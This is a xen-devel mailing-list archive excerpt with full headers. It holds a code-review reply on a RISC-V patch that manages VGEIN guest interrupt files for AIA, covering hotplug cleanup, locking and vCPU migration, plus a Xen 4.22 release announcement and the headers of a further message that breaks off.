 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 17:46:51 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6b71eb-be1a-0a2a45090019-d155dd2ae06b-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 17:46:51 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47f3b39f2a1so2148454f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:46:51 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fc892cc5fsm5890215f8f.24.2026.07.30.08.46.46
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 08:46:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785426411; x=1786031211; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=hF75ORF7Ww3tkis9yBl1qYyiv4O+FhPZ1Bzsywb9o/4=;
        b=Hs56HNMmdAFc/VlAQpDtK7dlX0oqdwTqaY4SGYi8cEjhFp6embLf1p2JvBN2wFMGKz
         H2JKsZ3nvfvB8mt9LCk3e/FtJdw/yBfYhi1r/ktaYnhymW3GwbZ3eN7Z7+YzwGArDPP3
         zJK7N7obbyfGqNxBLX7Qu85yFf420TXj7kO96GFIeK3Eo05WzS+bnBpGiR+G9q1WQFJP
         lmPdl2Fl5TQj8a+UbFs8hALbtY/qSYuGdEORe9/eNAFdrMlFSwXLJ0Udc+a+mO/KJvjb
         vzQkj0QtH8yqrSzCQWzfXP8Yzt0G/4ceD/Ts7fambseIHKYhYnydoZoxWNhDhVOSFdnX
         82mQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785426411; x=1786031211;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=hF75ORF7Ww3tkis9yBl1qYyiv4O+FhPZ1Bzsywb9o/4=;
        b=g8gOIAXTnf7uy6LGo5vpnyNswsCWfRs2dSctVHD+OHigdP5V59jT4AILLvbEOqZGgt
         DRiCrFzQFTMpbXXe5cuYoq8TxarCJB+RoRVpC/ykNYGc6V6sl/VHzQm5SIXHtF+RPzgB
         VGjlsoA4RjhrnsXWp+7Wd94TZuoo2o8YgvTT34NpNQlqVxo6ZgGxAxn1NAGBm291H2yv
         qv0C0FAIf+1zBYQUgxQJqEopi62lFpH4BKZQUhNe9Vx8kWzcTiBvdP5g1aVjZrWeidq8
         AVRFl1hwA8/Vm/1GaP0NOodbajj+S8jjG+h84iVcoPqbs7rCYhLDR2VUlB6XenV3De/P
         rPoQ==
X-Forwarded-Encrypted: i=1; AHgh+RpXqZPEBjRnGZEkaW2+E8NHGFFD3y0FoXECUXMdvT14zoyNGjjwlSU2dza8ScKsSUlRFIFgx398UOk=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwOqbPRv4UXFxjQ74SuYQ2ykZgv4luvrwpTkcekYEirEAVY9MrV
	46OrQcwOfRT0E/yL2cEMYr+sOS3IkU4yeCxj7MjvwezorpIZ9x+z1Bdx
X-Gm-Gg: AR+sD11Wpcc6tHU7G91pvr/sMWe7kvnAkPfuegotgMnlVbxMtaWvwFqU0Yfwjiakuos
	VcP5rGb1WiPjFMrTWqbJh6geT12/P9Gd4IY+VPJ82H9jCG3fdWJUhtopZP3bXyY48r0CswLltIX
	AkBnuedcpugLBGRkAALxbsuuTAlgWWzV/pWSdYUvs3oPkMjdGxLBWWD98gakAkfrZUVKBMhRsmC
	sAJBtQVKYkm59jbeIT9pValaeo4zWNKNaZFX/u5BxhUZN2hArtk6+J8Q/EukwxT9u2avDStJp+L
	bUcYyqOZor/hznhqd5YoVGB130T+Bv5O5QffdT7pTLc56pbUStts5ihYLa+ZF4A7Qy+RX5Nfx8P
	79xaIvQ7V+enmMF4I9eesYb3NNKSm+8F8+ASW6eff6N7bnRXSGmeUeFB24DnmyNWA6UjuKT+WKO
	BxDy4N5Xa/adz+0IO925XS9ojB1yYX5LPTQkuzMc5r+Juq+GuJmOnhIkeMol4FvbvVuggLNRWfp
	5zINO8yjYR6W51BSDgUJ2jmKG5qXAA7ytOlJP9UyLs=
X-Received: by 2002:a05:6000:2c0f:b0:478:4de8:9b91 with SMTP id ffacd0b85a97d-47fc8329e73mr4326022f8f.41.1785426410387;
        Thu, 30 Jul 2026 08:46:50 -0700 (PDT)
Message-ID: <aca9e72d-ff6d-49e0-b128-6675c5521493@gmail.com>
Date: Thu, 30 Jul 2026 17:46:45 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 02/17] xen/riscv: add basic VGEIN management for AIA
 guests
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <b141b8d976719bb9b76147cacfd5842fb7aac74e.1784560663.git.oleksii.kurochko@gmail.com>
 <6501f040-ea59-4e78-8854-030f786dbcf7@suse.com>
 <191a9ddc-9f37-4d26-9141-7dfaf88cb26c@gmail.com>
 <489a1b05-4ae5-44ac-a73b-485669190b59@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <489a1b05-4ae5-44ac-a73b-485669190b59@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1785426411-BF8D1034-01F5172C/10/73395122804
X-purgate-type: spam
X-purgate-size: 12027



On 7/30/26 9:42 AM, Jan Beulich wrote:
> On 29.07.2026 16:55, Oleksii Kurochko wrote:
>> On 7/27/26 5:41 PM, Jan Beulich wrote:
>>> On 20.07.2026 18:02, Oleksii Kurochko wrote:
>>>> It was decided to add support for IMSIC from the start instead of having APLIC
>>>> operate in direct delivery mode, as it requires a trap-and-emulation approach,
>>>> which is not optimal from a performance standpoint.
>>>>
>>>> AIA provides a hardware-accelerated mechanism for delivering external
>>>> interrupts to domains via "guest interrupt files" located in IMSIC.
>>>> A single physical hart can implement multiple such files (up to GEILEN),
>>>> allowing several virtual harts to receive interrupts directly from hardware.
>>>>
>>>> Introduce per-CPU tracking of guest interrupt file identifiers (VGEIN)
>>>> for systems implementing AIA specification. Each CPU maintains
>>>> a bitmap describing which guest interrupt files are currently in use.
>>>>
>>>> Add helpers to initialize the bitmap based on the number of available
>>>> guest interrupt files (GEILEN), assign a VGEIN to a vCPU, and release it
>>>> when no longer needed. When assigning a VGEIN, the corresponding value
>>>> is written to the VGEIN field of the guest hstatus register so that
>>>> VS-level external interrupts are delivered from the selected interrupt
>>>> file.
>>>
>>> And when exactly is this "assignment" intended to occur? vgein_assign() and
>>> vgein_release() have no callers here, so this remains entirely unclear.
>>
>> [A] Agreed, I should have added that information to the commit message:
>>
>> VGEIN is assigned (via vgein_assign()) before jumping to the new vCPU
>> execution context (in continue_new_vcpu()) and is re-assigned during
>> vCPU migration from one pCPU to another.
>>
>> VGEIN is released (via vgein_release()) on the old pCPU during migration.
> 
> That is, state of that vCPU is held in hardware for perhaps an extended
> period of time after the vCPU was last de-scheduled. That's a fair
> optimization (we do something similar on x86, albeit that has been
> increasingly under question lately). However, doesn't this then require
> sync_local_execstate() to become non-empty?

IIUC, sync_local_execstate() is needed for the lazy context switch case 
when switching from vCPUA to the idle vCPU. The idea is that if, after 
running the idle vCPU, the next scheduled vCPU is again vCPUA, then 
nothing needs to be done because no real context switch has occurred yet.

IMO, this is not the case for VGEIN. It is perfectly fine for a vCPU to 
keep its previously assigned VGEIN even if the next scheduled vCPU is 
different. In fact, it is necessary to preserve VGEIN because it will be 
needed later, for example, to wake up the vCPU if an interrupt for that 
vCPU occurs.

The idea is that if a vCPU uses a hardware interrupt file, then when the 
vCPU is descheduled, the corresponding CSR_HGEIE bit, where the bit 
number corresponds to the VGEIN value, is set. If an IRQ_S_GEXT trap 
then occurs, the hgei_interrupt() handler can determine which vCPU 
should be woken up:

void hgei_interrupt(void)
{
     unsigned long hgei_mask, flags;
     struct vgein_ctrl *vgein_ = &this_cpu(vgein);

     hgei_mask = csr_read(CSR_HGEIP) & csr_read(CSR_HGEIE);
     csr_clear(CSR_HGEIE, hgei_mask);

     spin_lock_irqsave(&vgein_->lock, flags);

     for_each_set_bit ( vs_guest_file_id, hgei_mask )
     {
        ...
        /* do some logic to call vcpu_kick */
        ...
     }

     spin_unlock_irqrestore(&vgein_->lock, flags);
}

> 
> Furthermore, rather than having vgein_assign() fail when
> find_next_zero_bit() fails to find an available ID, shouldn't you release
> some other vCPU's ID, making it available for re-use?

This is a good question, and it requires a separate investigation to 
determine whether such an approach would actually be beneficial. It 
would require not only changing the VGEIN field in vcpu->hstatus, but 
also synchronizing at least the pending interrupts from one IMSIC 
interrupt file to another, which would also consume time and further 
complicate the logic.

If find_next_zero_bit() fails, the vCPU will simply receive VGEIN=0, 
which means that the software interrupt file will be used. Therefore, 
everything should continue to work correctly, although it will be slower 
than using a hardware interrupt file.

Considering that the maximum value of GEILEN is 31 for RV32 and 63 for 
RV64 (although there is no guarantee that an implementation will support 
the maximum value), let's assume a GEILEN value of 31 for RV64 as well. 
In that case, a system with 4 CPUs would cover the maximum number of 
vCPUs supported by Xen (IIURC, it is 128). Therefore, a software 
interrupt file would not be needed at all, assuming the scheduler 
distributes vCPUs reasonably well.

Even if GEILEN is smaller, I expect that the scheduler will migrate 
vCPUs between pCPUs from time to time. This will free a hardware IMSIC 
interrupt file slot on the previous pCPU, allowing another vCPU to 
obtain a hardware IMSIC interrupt file slot.

For now, I would prefer to keep the current VGEIN allocation strategy as 
it is definitely easier for implementation at least and consider your 
suggestion of releasing another vCPU's VGEIN as a potential 
optimization. I think this optimization should first be evaluated 
through measurements and experiments.

> 
>>>> +static int cf_check cpu_callback(struct notifier_block *nfb, unsigned long action,
>>>> +                        void *hcpu)
>>>> +{
>>>> +    unsigned int cpu = (unsigned long)hcpu;
>>>> +    int rc = 0;
>>>> +
>>>> +    switch ( action )
>>>> +    {
>>>> +    case CPU_STARTING:
>>>> +        rc = vgein_init(cpu);
>>>> +        if ( rc )
>>>> +            printk("AIA: failed to init vgein for CPU%u\n", cpu);
>>>> +        break;
>>>> +    }
>>>> +
>>>> +    return notifier_from_errno(rc);
>>>> +}
>>>
>>> Where's the freeing of the allocation vgein_init(), when CPU bringup fails
>>> or a CPU was brought down?
>> I'll add the following:
>>
>> case CPU_UP_CANCELED:
>> case CPU_DEAD:
>>       vgein_free(cpu);
>>       break;
>>
>> and:
>>
>> static void vgein_free(unsigned int cpu)
>> {
>>       struct vgein_ctrl *vgein = &per_cpu(vgein, cpu);
>>
>>       ASSERT(!vgein->bmp);
> 
> Does this hold in all cases? What migrates vCPU-s off of a pCPU going down?
> IOW aren't you introducing an ordering problem between your notifier handler
> and the scheduler's?

The migration is done by the scheduler/cpupool notifiers at 
CPU_DOWN_PREPARE (cpupool_cpu_remove_prologue() -> 
cpu_disable_scheduler()) and CPU_DYING (cpupool_cpu_remove()), i.e. in 
actions strictly preceding CPU_DEAD; each unit migration goes through 
sched_move_irqs() -> arch_move_irqs() -> imsic_migrate_vcpu(), which 
releases the VGEIN on the old pCPU. So there's no ordering dependency on 
notifier priority within CPU_DEAD.

However you're right that the assertion doesn't hold in all cases. On 
the suspend path both notifiers bail out for system_state > 
SYS_STATE_active, so no vCPU is migrated off at all and the bits are 
still set at CPU_DEAD â€” and freeing owners[] there would be actively 
wrong, since the vCPUs still reference that pCPU's VS-file. 
Independently, arch_vcpu_destroy() never releases the VGEIN today, so a 
destroyed vCPU leaks its bit for good.

Given GEILEN <= XLEN-1, I'll drop the allocation altogether and use a 
fixed struct vcpu *owners[BITS_PER_LONG] in the per-CPU structure; that 
removes vgein_free() and the question with it. I'll fix the missing 
release in vcpu teardown separately.

> 
>>       vgein->geilen = 0;
>>       XVFREE(vgein->owners);
>> }
>>
>> I'm also wondering whether vgein_init() should be moved to
>> CPU_UP_PREPARE. If vgein_init() fails in CPU_STARTING, the hypervisor
>> will stop instead of simply ignoring the CPU.
>>
>> However, in CPU_UP_PREPARE we don't yet know the value of GEILEN, which
>> is needed to allocate vgein->owners. As I understand it, CPU_UP_PREPARE
>> is not executed on the CPU that is being brought up.
> 
> But there's an upper bound, isn't there? Use that for preliminary allocation,
> and re-alloc (best effort) from CPU_ONLINE?

Considering that upper bound isn't to big then we could just live with 
that without having re-alloc. Look at what I wrote above.

> 
> Yet then I continue to question the presence of this array in the first place.
> Something similar isn't needed elsewhere (afaik), and its intended use (as
> said) doesn't become obvious here.

I can drop it for now and reintroduce it later when it is actually 
needed. In short, it is intended to be used in hgei_interrupt(), as I 
described above, in the following way (inside the for-loop):

...
for_each_set_bit(vs_guest_file_id, hgei_mask)
{
unsigned int owners_index = vs_guest_file_id /* - 1 */;

```
if ( vgein_->owners[owners_index] )
{
     dprintk("kick ->%pv, hgei_mask(%#lx)\n",
             vgein_->owners[owners_index], hgei_mask);

     vcpu_kick(vgein_->owners[owners_index]);
}
```

}
...

Alternatively, I could introduce this in this series, since it will be 
necessary to set the HGEIE bit in imsic_state_save() anyway to allow the 
vCPU to be woken up. It also seems like the best option, as it addresses 
at least some of the comments you raised.

> 
>>>> +unsigned int vgein_assign(struct vcpu *v)
>>>> +{
>>>> +    unsigned int vgein_id;
>>>> +    struct vgein_ctrl *vgein = &per_cpu(vgein, v->processor);
>>>> +    unsigned long *bmp = &vgein->bmp;
>>>> +    unsigned long flags;
>>>> +
>>>> +    if ( !vgein->geilen )
>>>> +        return 0;
>>>> +
>>>> +    spin_lock_irqsave(&vgein->lock, flags);
>>>
>>> Because it's unclear where this is to be called from, it's also unclear whether
>>> a lock is needed here (and if so whether a plain spin lock is appropriate).
>>
>> Based on what I wrote in [A] above a lock is defintely needed as it
>> could be that vgein_release() is called for old pCPU during migration
>> and at the same time old pCPU could call vgein_assign() so we want to
>> keep vgein bitmap consistent.
> 
> Can this really happen? It almost sounds as if you were suspecting
> context-switch-in could race with context-switch-out. Yet again - none of
> this can sensibly be discussed without seeing how / where the functions are
> to be used.

Maybe I didn't explain it clearly, but during migration (which, 
according to my understanding of vcpu_move_irqs(), is executed on 
pCPU1), when vCPU0 is migrated from pCPU0 to pCPU1, its old VGEIN on 
pCPU0 needs to be released. I don't see any reason why, at the same 
time, pCPU0 could not try to assign that VGEIN to another vCPU. Without 
proper protection, this could lead to race conditions.

Also, setting a bit in the VGEIN bitmap and updating the owner array 
should be an atomic operation, at least to correctly handle the 
hgei_interrupt() case mentioned above and vCPU migration, which calls 
vgein_release(...,old_pcpu,...).

I agree that it would probably be easier if the migration patches were 
included in this patch series as well. I can either post those patches 
to this thread now or include them in the v2 series when it is ready. 
What do you think?

> 
>> Regarding why _irqsave() it is mostly connected to ...
> 
> Why the mention of _irqsave? My use of "plain spinlock" was meant to contrast
> to the possible use of an r/w lock.

Oh, okay... I thought your question was why the _irqsave() variant is 
used specifically.

I think it is hard to predict whether read operations will be much more 
frequent than write operations in this case. It depends on how often 
vCPU migration occurs and how often hgei_interrupt() is called. At the 
moment, I believe hgei_interrupt() is the only reader.

~ Oleksii



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 16:02:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 16:02:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378098.1623706 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTD1-0003kp-De; Thu, 30 Jul 2026 16:02:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378098.1623706; Thu, 30 Jul 2026 16:02:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTD1-0003ki-Ag; Thu, 30 Jul 2026 16:02:11 +0000
Received: by outflank-mailman (input) for mailman id 1378098;
 Thu, 30 Jul 2026 16:02:10 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wpTD0-0003kP-3i
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 16:02:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpTCz-00EBV7-Gi
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:02:09 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6b7577-e002-0a2a0a5209dd-0a2a4503b08c-22
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:02:09 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6b7581-fae8-0a2a45030019-d155802de9f4-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:02:09 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-4955de8797cso15444095e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 09:02:09 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fc88d7097sm7058704f8f.5.2026.07.30.09.02.08
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 09:02:08 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785427329; x=1786032129; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=R5JqV2IgoJiP/5bR3TA19sAWti4WtH2o9SxHpsotcQs=;
        b=CJ0RyEWFAhsUSvRGorYuwBY7nfUZH/QZWn5iBXHvIIIVIBRgk6o+lmPrm7qOgEATCq
         3w4mC5tY2nEAwQWaTp/r8rf3XVizfkklQf5cFtNw+S16QUcIVlkd9xPS68HlA4hi6dvR
         TKnjjo88ILhgeSPNDlI9n/FhVgvf2nKiFwCsEY24UpbnS8MlCOFlq1mqVqsB36Rrgggu
         DEB6nat5AhyW1r6gUzcHCYm57osiR2tVxe8O8/9fCBB1nMmx7uC08R4G0rwbD/FVozuJ
         vCO44ALVSzEk1cm5nYzL0PIfPG1o/nkp6hLrATgyzU1kzKdhKBm13RPg/lApv+qey6m4
         4D5w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785427329; x=1786032129;
        h=content-transfer-encoding:content-type:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=R5JqV2IgoJiP/5bR3TA19sAWti4WtH2o9SxHpsotcQs=;
        b=e7D4WvADgQaQJVTbyJIO6wMlknFJmQLQ5PvuBV0eWGMXWCoByBwiF3GQadkWdnLgbZ
         MOzZ/tpaYINUM1EkixeiX+HDQi5YvxPLnM54bVVsWSAB4T3K1K2I6tNxXcs2hLvqdzbd
         r+pZ+bcZbEfzvledQ+QgqxXhaO3ha3dGy/dmyPDod7tyJt2CMRK4LzDnWLEeBYn2l+W6
         DryFpKvx8AAFCeBXXxZvc6dNvv4hbWb4xM7gaScwWHZszK9TsJaRW5d0cMy63NKYqsJg
         TLHRD19YQukTgf9z6SEGgEk2c/RDq0QWApoIQJP65gBdA7PRRUV1S/wyFI2/hVZE/Pur
         DmxQ==
X-Gm-Message-State: AOJu0YyhVPI2OY3xeQmieIlk0D9AHSeYbZuHRYnLgKQ0+K7sufxHbryR
	JEC7SdMsYUvzegAKxza3cvcjzbVYwOWGD/l4akRvDfGnmEwxBP3K3psRnkaMCw==
X-Gm-Gg: AR+sD12DXuo6YlSHKWq8jSt3778BtJdxZQ+l62GaquM9BXOlnnPOgeIXyxjlLjg//8H
	c4LHUlvwU8qPLo8K6a6qWn6D/aTxMO83A6qcfnPXGIk3arITTjwThESuu6sEZuIAMyO1TRte3KA
	c7aOJJ3UrA/QwDPlsZ3lzztfy4w67dfWkk/UmFCVfIA6qISrL2yjpSAlfHKmvLz9imoFD6XgPhJ
	K0NZV3qEIuIQruU+QAONFB/r7oDr7mey3Ydy8MO4I61xjwuSW8xo7J1qzsXd04x/5CzaO6U2zng
	sElmE5N8MhnJM63y4wn/V6dxj8s4xsIEigYWEBOfSbXTnpcQ7VIjezDiuxiqK4jkU14CXgM3P0y
	W//6mB25aPvtrUEFD8Bna+aVYQMI9VngpLbVXHesVnckhW2Ek0c1fuul58vBX1sJXXU+IwWbHyp
	p4chawyh7LOAs3JWSqSOiODneixhZ57j4sgjqzYjMttP7Kq3edpccHCiDFwz0/MfEc8xDUEJTmS
	5f77ZvAJXYQt+JOVk+qZkS+EzHi/jp3EzMH2Wvp5U4=
X-Received: by 2002:a05:600c:1d2a:b0:495:6397:14b1 with SMTP id 5b1f17b1804b1-49800eb97aamr45183645e9.34.1785427328791;
        Thu, 30 Jul 2026 09:02:08 -0700 (PDT)
Message-ID: <e3c01386-0f85-4312-8da9-e1bc8ea3fa56@gmail.com>
Date: Thu, 30 Jul 2026 18:02:07 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: xen-announce@lists.xenproject.org
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
 Community Manager <community.manager@xenproject.org>,
 advisory-board@lists.xenproject.org
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [ANNOUNCEMENT] Xen Project Releases Version 4.22
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785427329-6E8CD4E9-7F762346/10/73395122804
X-purgate-type: spam
X-purgate-size: 1292

Hello everyone,

It's with great pleasure that I announce our 4.22 PR release.

I want to thank the whole community for their efforts in getting this
release published!

*Please find the PR article attached here
<https://www.linuxfoundation.org/press/xen-project-releases-xen-4.22-strengthening-open-source-virtualization-for-cloud-embedded-and-automotive-systems-1
  >*

Please find the tarball and its signature at:
     https://downloads.xenproject.org/release/xen/4.22.0/

You can also check out the tag in xen.git:
     git://xenbits.xen.org/xen.git RELEASE-4.22.0

Git checkout and build instructions can be found at:
  
https://wiki.xenproject.org/wiki/Xen_Project_4.22_Release_Notes#Build_Requirements

Release notes can be found at:
     https://wiki.xenproject.org/wiki/Xen_Project_4.22_Release_Notes

A summary for 4.22 release documents can be found at:
     https://wiki.xenproject.org/wiki/Category:Xen_4.22

Please find the released features below:
https://xenbits.xen.org/gitweb/?p=xen.git;a=blob;f=CHANGELOG.md;h=aa1a777dd4a84765149425a89f2de10888c563f3;hb=HEAD#l27

Best regards,
   Oleksii

Come join the conversation on Matrix:

XenProject:https://matrix.to/#/#XenProject:matrix.org

XenDevel:https://matrix.to/#/#XenDevel:matrix.org


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 16:03:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 16:03:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378109.1623715 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTEZ-0004Fq-Qc; Thu, 30 Jul 2026 16:03:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378109.1623715; Thu, 30 Jul 2026 16:03:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpTEZ-0004Fj-Ns; Thu, 30 Jul 2026 16:03:47 +0000
Received: by outflank-mailman (input) for mailman id 1378109;
 Thu, 30 Jul 2026 16:03:46 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wpTEY-0004Fd-GZ
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 16:03:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpTEX-00EBhg-Pq
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:03:45 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6b75d8-bab6-0a2a0a5309dd-0a2a450a9c66-22
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:03:45 +0200
Received: from [209.85.221.47] (helo=mail-wr1-f47.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6b75e1-f2d2-0a2a450a0019-d155dd2fb4c0-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 18:03:45 +0200
Received: by mail-wr1-f47.google.com with SMTP id
 ffacd0b85a97d-47f81a3ccf9so1853497f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 09:03:45 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fc892cc54sm7310048f8f.21.2026.07.30.09.03.43
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 09:03:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
